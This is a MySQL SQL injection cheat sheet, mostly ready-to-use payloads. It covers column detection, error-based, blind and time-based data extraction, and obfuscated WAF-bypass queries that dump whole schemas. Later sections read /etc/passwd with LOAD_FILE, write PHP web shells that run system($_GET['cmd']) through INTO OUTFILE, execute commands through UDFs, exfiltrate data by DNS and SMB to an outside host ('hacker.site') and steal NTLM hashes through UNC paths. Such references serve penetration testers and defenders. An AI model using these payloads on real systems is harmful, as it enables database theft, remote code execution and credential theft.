MYSQL Injection

Summary

MYSQL comment

```
# MYSQL Comment
-- comment [Note the space after the double dash]
/* MYSQL Comment */
```

```
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MYSQL version 3.23.02
```

MYSQL Union Based

Detect columns number

First you need to know the number of columns

Using `order by` or `group by`

Keep incrementing the number until you get a False response. Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.

```
1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+  True
```

or

```
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+  True
```

Using `order by` or `group by` Error Based

Similar to the previous method, we can check the number of columns with 1 request if error showing is enabled.

```
1' ORDER BY
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3
2,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60
,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,
89,90,91,92,93,94,95,96,97,98,99,100--+

# Unknown column '4' in 'order clause'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+  True
```

or

```
1' GROUP BY
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3
2,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60
,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,
89,90,91,92,93,94,95,96,97,98,99,100--+
# Unknown column '4' in 'group statement'
# This error means query uses 3 column
#-1' UNION SELECT 1,2,3--+  True
```

Using `UNION SELECT` Error Based

This method works if error showing is enabled

```
1' UNION SELECT @--+        #The used SELECT statements have a different number of
columns
1' UNION SELECT @,@--+      #The used SELECT statements have a different number of
columns
1' UNION SELECT @,@,@--+    #No error means query uses 3 column
                            #-1' UNION SELECT 1,2,3--+  True
```

Using `LIMIT INTO` Error Based

This method works if error showing is enabled.

It is useful for finding the number of columns when the injection point is after a LIMIT clause.

```
1' LIMIT 1,1 INTO @--+        #The used SELECT statements have a different number of
columns
1' LIMIT 1,1 INTO @,@--+      #The used SELECT statements have a different number of
columns
1' LIMIT 1,1 INTO @,@,@--+    #No error means query uses 3 column
                              #-1' UNION SELECT 1,2,3--+    True
```

Using `SELECT * FROM SOME_EXISTING_TABLE` Error Based

This works if you know the table name you're after and error showing is enabled.

It will return the amount of columns in the table, not the query.

```
1' AND (SELECT * FROM Users) = 1--+     #Operand should contain 3 column(s)
                                        # This error means query uses 3 column
                                        #-1' UNION SELECT 1,2,3--+  True
```

Extract database with information_schema

Then the following codes will extract the databases'name, tables'name, columns'name.

```
UniOn Select
1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select
1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+t
able_schema=...
UniOn Select
```

```
1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe
+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```

Extract columns name without information_schema

Method for `MySQL >= 4.1`.

First extract the column number with

```
?id=(1)and(SELECT * from db.users)=(1)
-- Operand should contain 4 column(s)
```

Then extract the column name.

```
?id=1 and (1,2,3,4) = (SELECT * from db.users UNION SELECT 1,2,3,4 LIMIT 1)
--Column 'id' cannot be null
```

Method for `MySQL 5`

```
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
--#1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
-- #1060 - Duplicate column name 'name'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...
```

Extract data without columns name

Extracting data from the 4th column without knowing its name.

```
select `4` from (select 1,2,3,4,5,6 union select * from users)dbname;
```

Injection example inside the query `select author_id,title from posts where author_id=[INJECT_HERE]`

```
MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select
1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a
limit 1,1);
+-----------+-----------------------------------------------------------------+
| author_id | title                                                           |
+-----------+-----------------------------------------------------------------+
|         1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example.org |
+-----------+-----------------------------------------------------------------+
```

MYSQL Error Based

MYSQL Error Based - Basic

Works with `MySQL >= 4.1`

```
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
```

MYSQL Error Based - UpdateXML function

```
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)),null)--
```

Shorter to read:

```
' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1)),null)-- -
```

MYSQL Error Based - Extractvalue function

Works with `MySQL >= 5.1`

```
?id=1 AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126)) FROM information_schema.schemata LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,1)))--
?id=1 AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FROM data_table.data_column LIMIT data_offset,1)))--
```

MYSQL Error Based - NAME_CONST function (only for constants)

Works with `MySQL >= 5.0`

```
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as
x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
?id=1 AND (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1))
as x)--
```

MYSQL Blind

MYSQL Blind with substring equivalent

```
?id=1 and substring(version(),1,1)=5
?id=1 and right(left(version(),1),1)=5
?id=1 and left(version(),1)=4
?id=1 and ascii(lower(substr(Version(),1,1)))=51
?id=1 and (select mid(version(),1,1)=4)
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
?id=1 AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
```

MySQL Blind SQL Injection in ORDER BY clause using a binary query and REGEXP

This query basically orders by one column or the other, depending on whether the EXISTS() returns a 1 or not. For the EXISTS() function to return a 1, the REGEXP query needs to match up, this means you can bruteforce blind values character by character and leak data from the database without direct output.

```
[...] ORDER BY (SELECT (CASE WHEN EXISTS(SELECT [COLUMN] FROM [TABLE] WHERE [COLUMN]
REGEXP "^[BRUTEFORCE CHAR BY CHAR].*" AND [FURTHER OPTIONS / CONDITIONS]) THEN [ONE
COLUMN TO ORDER BY] ELSE [ANOTHER COLUMN TO ORDER BY] END)); -- -
```

MySQL Blind SQL Injection binary query using REGEXP.

Payload:

```
' OR (SELECT (CASE WHEN EXISTS(SELECT name FROM items WHERE name REGEXP "^a.*") THEN
SLEEP(3) ELSE 1 END)); -- -
```

Would work in the query (where the "where" clause is the injection point):

```
SELECT name,price FROM items WHERE name = '' OR (SELECT (CASE WHEN EXISTS(SELECT name
FROM items WHERE name REGEXP "^a.*") THEN SLEEP(3) ELSE 1 END)); -- -';
```

In said query, it will check to see if an item exists in the "name" column in the "items" database that starts with an "a". If it will sleep for 3 seconds per item.

MYSQL Blind using a conditional statement

TRUE: `if @@version starts with a 5`:

```
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
```

False: `if @@version starts with a 4`:

```
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK
```

MYSQL Blind with MAKE_SET

```
AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
```

MYSQL Blind with LIKE

'_' acts like the regex character '.', use it to speed up your blind testing

```
SELECT cust_code FROM customer WHERE cust_name LIKE 'k__l';
```

MYSQL Time Based

The following SQL codes will delay the output from MySQL.

```
+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
```

Using SLEEP in a subselect

```
1 and (select sleep(10) from dual where database() like '%')#
1 and (select sleep(10) from dual where database() like '___')#
1 and (select sleep(10) from dual where database() like '____')#
1 and (select sleep(10) from dual where database() like '_____')#
1 and (select sleep(10) from dual where database() like 'a____')#
...
1 and (select sleep(10) from dual where database() like 's____')#
```

```
1 and (select sleep(10) from dual where database() like 'sa___')#
...
1 and (select sleep(10) from dual where database() like 'sw___')#
1 and (select sleep(10) from dual where database() like 'swa__')#
1 and (select sleep(10) from dual where database() like 'swb__')#
1 and (select sleep(10) from dual where database() like 'swi__')#
...
1 and (select sleep(10) from dual where (select table_name from
information_schema.columns where table_schema=database() and column_name like
'%pass%' limit 0,1) like '%')#
```

Using conditional statements

```
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()),1,1)))>=100,1,
BENCHMARK(2000000,MD5(NOW()))) --
?id=1 AND IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, SLEEP(3)) --
?id=1 OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
```

MYSQL DIOS - Dump in One Shot

```
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where
(table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] >
',table_name,' > ',column_name,0x7C))))a)#

(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where (@)in
(@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x7C))))a)#

-- SecurityIdiots
make_set(6,@:=0x0a,
(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_nam
e,column_name)),@)

-- Profexer
(select(@)from(select(@:=0x00),
(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_nam
e,0x3a,column_name))))a)

-- Dr.Z3r0
(select(select concat(@:=0xa7,(select
count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,
column_name))),@))

-- M@dBl00d
(Select export_set(5,@:=0,(select
count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_nam
e,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

-- Zen
+make_set(6,@:=0x0a,
(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_nam
e,column_name)),@)

-- Zen WAF
(/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),
(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE
/*data*/())and(@)in(@:=CoNCat%0a(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,
0x3a3a,column_name))))a)

-- ~tr0jAn WAF
+concat/*!(unhex(hex(concat/*!
(0x3c2f6469763e3c2f696d673e3c2f613e3c2f703e3c2f7469746c653e,0x223e,0x273e,0x3c62723e3
c62723e,unhex(hex(concat/*!
(0x3c63656e7465723e3c666f6e7420636f6c6f723d7265642073697a653d343e3c623e3a3a207e747230
6a416e2a2044756d7020496e204f6e652053686f74205175657279203c666f6e7420636f6c6f723d626c7
5653e28574146204279706173736564203a2d20207620312e30293c2f666f6e743e203c2f666f6e743e3c
2f63656e7465723e3c2f623e))),0x3c62723e3c62723e,0x3c666f6e7420636f6c6f723d626c75653e4d
7953514c2056657273696f6e203a3a20,version(),0x7e20,@@version_comment,0x3c62723e5072696
d61727920446174616261736520203a3a20,@d:=database(),0x3c62723e446174616261736520557365
203a3a20,user(),(/*!12345selEcT*/(@x)/*!from*/(/*!12345selEcT*/(@x:=0x00),(@r:=0),
(@running_number:=0),(@tbl:=0x00),(/*!12345selEcT*/(0)
from(information_schema./**/columns)where(table_schema=database())
and(0x00)in(@x:=Concat/*!(@x, 0x3c62723e, if( (@tbl!=table_name), Concat/*!
(0x3c666f6e7420636f6c6f723d707572706c652073697a653d333e,0x3c62723e,0x3c666f6e7420636f
6c6f723d626c61636b3e,LPAD(@r:=@r%2b1, 2,
0x30),0x2e203c2f666f6e743e,@tbl:=table_name,0x203c666f6e7420636f6c6f723d677265656e3e3
a3a2044617461626173652203a3a203c666f6e7420636f6c6f723d626c61636b3e28,database(),0x293c
2f666f6e743e3c2f666f6e743e,0x3c2f666f6e743e,0x3c62723e),
0x00),0x3c666f6e7420636f6c6f723d626c61636b3e,LPAD(@running_number:=@running_number%2b
1,3,0x30),0x2e20,0x3c2f666f6e743e,0x3c666f6e7420636f6c6f723d7265643e,column_name,0x3c
2f666f6e743e))))x)))))*/+

-- ~tr0jAn Benchmark
+concat(0x3c666f6e7420636f6c6f723d7265643e3c62723e3c62723e7e7472306a416e2a203a3a3c666
f6e7420636f6c6f723d626c75653e20,version(),0x3c62723e546f74616c204e756d626572204f66204
46174616261736573203a3a20,(select count(*) from
information_schema.schemata),0x3c2f666f6e743e3c2f666f6e743e,0x202d2d203a2d20,concat(@
sc:=0x00,@scc:=0x00,@r:=0,benchmark(@a:=(select count(*) from
information_schema.schemata),@scc:=concat(@scc,0x3c62723e3c62723e,0x3c666f6e7420636f6
c6f723d7265643e,LPAD(@r:=@r%2b1,3,0x30),0x2e20,(Select
concat(0x3c623e,@sc:=schema_name,0x3c2f623e) from information_schema.schemata where
schema_name>@sc order by schema_name limit
1),0x202028204e756d626572204f66205461626c657320496e204461746162617365203a3a20,(select
count(*) from information_Schema.tables where
table_schema=@sc),0x29,0x3c2f666f6e743e,0x202e2e2e20
,@t:=0x00,@tt:=0x00,@tr:=0,benchmark((select count(*) from information_Schema.tables
where
table_schema=@sc),@tt:=concat(@tt,0x3c62723e,0x3c666f6e7420636f6c6f723d677265656e3e,L
PAD(@tr:=@tr%2b1,3,0x30),0x2e20,(select concat(0x3c623e,@t:=table_name,0x3c2f623e)
from information_Schema.tables where table_schema=@sc and table_name>@t order by
table_name limit
1),0x203a20284e756d626572204f6620436f6c756d6e7320496e207461626c65203a3a20,(select
count(*) from information_Schema.columns where
table_name=@t),0x29,0x3c2f666f6e743e,0x202d2d3a20,@c:=0x00,@cc:=0x00,@cr:=0,benchmark
((Select count(*) from information_schema.columns where table_schema=@sc and
table_name=@t),@cc:=concat(@cc,0x3c62723e,0x3c666f6e7420636f6c6f723d707572706c653e,LP
AD(@cr:=@cr%2b1,3,0x30),0x2e20,(Select (@c:=column_name) from
information_schema.columns where table_schema=@sc and table_name=@t and
column_name>@c order by column_name LIMIT
1),0x3c2f666f6e743e)),@cc,0x3c62723e)),@tt)),@scc),0x3c62723e3c62723e,0x3c62723e3c627
23e)+

-- N1Z4M WAF
+/*!13337concat*/(0x3c616464726573733e3c63656e7465723e3c62723e3c68313e3c666f6e7420636
f6c6f723d22526564223e496e6a6563746564206279204e315a344d3c2f666f6e743e3c68313e3c2f6365
6e7465723e3c62723e3c666f6e7420636f6c6f723d2223663364393361223e446174616261736520 7e3e3
e203c2f666f6e743e,database/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223306639 6
43936223e56657273696f6e207e3e3e203c2f666f6e743e,@@version,0x3c62723e3c666f6e7420636f6
c6f723d2223306637363964223e55736572207e3e3e203c2f666f6e743e,user/**N1Z4M**/(),0x3c627
23e3c666f6e7420636f6c6f723d2223306639643365223e506f7274207e3e3e203c2f666f6e743e,@@por
t,0x3c62723e3c666f6e7420636f6c6f723d2223346435613733223e4f53207e3e3e203c2f666f6e743e,
@@version_compile_os,0x2c3c62723e3c666f6e7420636f6c6f723d2223366134343732223e44617461
204469726563746f7279204c6f636174696f6e207e3e3e203c2f666f6e743e,@@datadir,0x3c62723e3c
666f6e7420636f6c6f723d2223333130343362223e55554944207e3e3e203c2f666f6e743e,UUID/**N1Z
4M**/(),0x3c62723e3c666f6e7420636f6c6f723d2223363930343637223e43757272656e74205573657
2207e3e3e203c2f666f6e743e,current_user/**N1Z4M**/(),0x3c62723e3c666f6e7420636f6c6f723
d2223383432303831223e54656d70204469726563746f7279207e3e3e203c2f666f6e743e,@@tmpdir,0x
3c62723e3c666f6e7420636f6c6f723d2223396336623934223e424954532044455441494c53207e3e3e2
03c2f666f6e743e,@@version_compile_machine,0x3c62723e3c666f6e7420636f6c6f723d222339663
0613838223e46494c452053595354454d207e3e3e203c2f666f6e743e,@@CHARACTER_SET_FILESYSTEM,
0x3c62723e3c666f6e7420636f6c6f723d2223393234323564223e486f7374204e616d65207e3e3e203c2
f666f6e743e,@@hostname,0x3c62723e3c666f6e7420636f6c6f723d2223393430313333223e53797374
656d2055554944204b6579207e3e3e203c2f666f6e743e,UUID/**N1Z4M**/(),0x3c62723e3c666f6e74
20636f6c6f723d2223613332363531223e53796d4c696e6b20207e3e3e203c2f666f6e743e,@@GLOBAL.h
ave_symlink,0x3c62723e3c666f6e7420636f6c6f723d2223353830633139223e53534c207e3e3e203c2
f666f6e743e,@@GLOBAL.have_ssl,0x3c62723e3c666f6e7420636f6c6f723d2223393931663333223e4
26173652044697265637466f7279207e3e3e203c2f666f6e743e,@@basedir,0x3c62723e3c2f616464726
573733e3c62723e3c666f6e7420636f6c6f723d22626c7565223e,
(/*!13337select*/(@a)/*!13337from*/(/*!13337select*/(@a:=0x00),
(/*!13337select*/(@a)/*!13337from*/(information_schema.columns)/*!13337where*/(table_
schema!=0x696e666f726d6174696f6e5f736368656d61)and(@a)in(@a:=/*!13337concat*/(@a,tabl
e_schema,0x3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,table_name,0x
3c666f6e7420636f6c6f723d22726564223e20203a3a203c2f666f6e743e,column_name,0x3c62723e))
))a))+

-- sharik
(select(@a)from(select(@a:=0x00),
(select(@a)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f
6e5f736368656d61)and(@a)in(@a:=concat(@a,table_name,0x203a3a20,column_name,0x3c62723e
))))a)
```

MYSQL Current queries

This table can list all operations that DB is performing at the moment.

```
union SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #

-- Dump in one shot example for the table content.
union select 1,(select(@)from(select(@:=0x00),
(select(@)from(information_schema.processlist)where(@)in(@:=concat(@,0x3C62723E,state
,0x3a,info))))a),3,4 #
```

MYSQL Read content of a file

Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement`

```
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
```

```
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));
```

If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query

```
GRANT FILE ON *.* TO 'root'@'localhost'; FLUSH PRIVILEGES;#
```

MYSQL Write a shell

Into outfile method

```
[...] UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
[...] UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
[...] UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
[...] union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
```

Into dumpfile method

```
[...] UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPFILE 'C:/Program Files/EasyPHP-12.1/www/shell.php'
[...] UNION SELECT 0x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e INTO DUMPFILE '/var/www/html/images/shell.php';
```

MYSQL Truncation

In MYSQL "`admin  `" and "`admin`" are the same. If the username column in the database has a character-limit the rest of the characters are truncated. So if the database has a column-limit of 20 characters and we input a string with 21 characters the last 1 character will be removed.

```
`username` varchar(20) not null
```

Payload: `username = "admin a"`

MYSQL Fast Exploitation

Requirement: `MySQL >= 5.7.22`

Use `json_arrayagg()` instead of `group_concat()` which allows less symbols to be displayed

- group_concat() = 1024 symbols
- json_arrayagg() > 16,000,000 symbols

```
SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from
INFORMATION_SCHEMA.TABLES;
```

MYSQL UDF command execution

First you need to check if the UDF are installed on the server.

```
$ whereis lib_mysqludf_sys.so
/usr/lib/lib_mysqludf_sys.so
```

Then you can use functions such as `sys_exec` and `sys_eval`.

```
$ mysql -u root -p mysql
Enter password: [...]
mysql> SELECT sys_eval('id');
+--------------------------------------------------+
| sys_eval('id') |
+--------------------------------------------------+
| uid=118(mysql) gid=128(mysql) groups=128(mysql) |
+--------------------------------------------------+
```

MYSQL Out of band

```
select @@version into outfile '\\\\192.168.0.100\\temp\\out.txt';
select @@version into dumpfile '\\\\192.168.0.100\\temp\\out.txt
```

DNS exfiltration

```
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874))
```

UNC Path - NTLM hash stealing

```
select load_file('\\\\error\\abc');
select load_file(0x5c5c5c5c6572726f725c5c616263);
select 'osanda' into dumpfile '\\\\error\\abc';
select 'osanda' into outfile '\\\\error\\abc';
load data infile '\\\\error\\abc' into table database.table_name;
```

References

- MySQL Out of Band Hacking - @OsandaMalith
- [Sqli] Extracting data without knowing columns names - Ahmed Sultan @0x4148

- Help по MySql инъекциям - rdot.org
- SQL Truncation Attack - Warlock
- HackerOne @ajxchapman 50m-ctf writeup - Alex Chapman @ajxchapman
- SQL Wiki - netspi
- ekoparty web_100 - 2016/10/26 - p4-team
- Websec - MySQL - Roberto Salgado - May 29, 2013.